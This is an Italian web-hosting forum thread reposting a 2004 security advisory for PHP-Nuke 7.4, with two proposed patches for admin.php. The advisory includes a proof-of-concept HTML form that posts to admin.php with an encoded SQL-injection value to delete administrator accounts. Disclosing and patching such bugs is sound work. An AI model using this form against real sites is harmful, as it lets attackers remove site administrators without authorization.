Torna indietro   Serverplan Forum > Serverplan comunica > Vulnerabilità
Registrazione FAQ Lista utenti Calendario Cerca I messaggi di oggi Segna forums come letti

Rispondi
 
LinkBack Strumenti discussione Modalità visualizzazione
  #1 (permalink)  
Vecchio 06-09-2004, 07.44.43
Administrator
Amministratore
 
Data registrazione: 11-09-2002
Messaggi: 3,349
serverplan ha disabilitato la reputazione
Predefinito PHP-Nuke 7.4

Delete Admin Bug

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to delete any Admin account
except God admin.
This bug is very old too but we can bypass the patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
USERNAME: <input type="text" name="del_aid">

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">


<input type="hidden" name="add_radminsuper" value="1">


<input type="hidden" name="op" value="deladminconf">
<input type="submit" name="Submit" value="Delete Admin">


</p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['op']) ) {
$op = $HTTP_GET_VARS['op'];
}

if ( !empty($HTTP_POST_VARS['op']) ) {
$op = $HTTP_POST_VARS['op'];
}

-) Note

There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[op] and $_GET[op].
Rispondi citando
  #2 (permalink)  
Vecchio 08-09-2004, 11.12.09
Administrator
Amministratore
 
Data registrazione: 11-09-2002
Messaggi: 3,349
serverplan ha disabilitato la reputazione
Predefinito

PATCH:


* CODEBUG Labs
* Patch #1
* Title: Multiple XSS Bug in admin.php
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4


- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

-) Note
Previous patch isn't enough performant.
Try this one.
There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[admin] and $_GET[admin].
I'm going to post all this vulnerabilities on my site...
Rispondi citando
Rispondi


Strumenti discussione
Modalità visualizzazione

Regole di scrittura
Tu non puoi inserire nuovi messaggi
Tu non puoi rispondere ai messaggi
Tu non puoi inviare files
Tu non puoi modificare i tuoi messaggi

Il codice vB è Attivato
Le faccine sono Attivato
Il codice [IMG] è Attivato
Il codice HTML è Disattivato
Trackbacks are Attivato
Pingbacks are Attivato
Refbacks are Attivato


Discussioni simili
Discussione Autore discussione Forum Risposte Ultimo messaggio
Installazione Php Nuke Alina PHP 2 06-10-2004 09.22.58
SQL injection in Php-Nuke 7.1.0 serverplan Vulnerabilità 0 09-02-2004 21.05.30
GBook for Php-Nuke ver. 1.0 serverplan Vulnerabilità 0 05-02-2004 12.04.21
PHP Nuke SKYwalker PHP 4 15-11-2003 00.22.33
php nuke 6.8 domenicoruggiero PHP 2 05-10-2003 22.20.57


Tutti gli orari sono GMT +1. Adesso sono le 15.48.24.


Powered by vBulletin versione 3.6.8
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.1.0
Traduzione italiana : www.vbulletin.it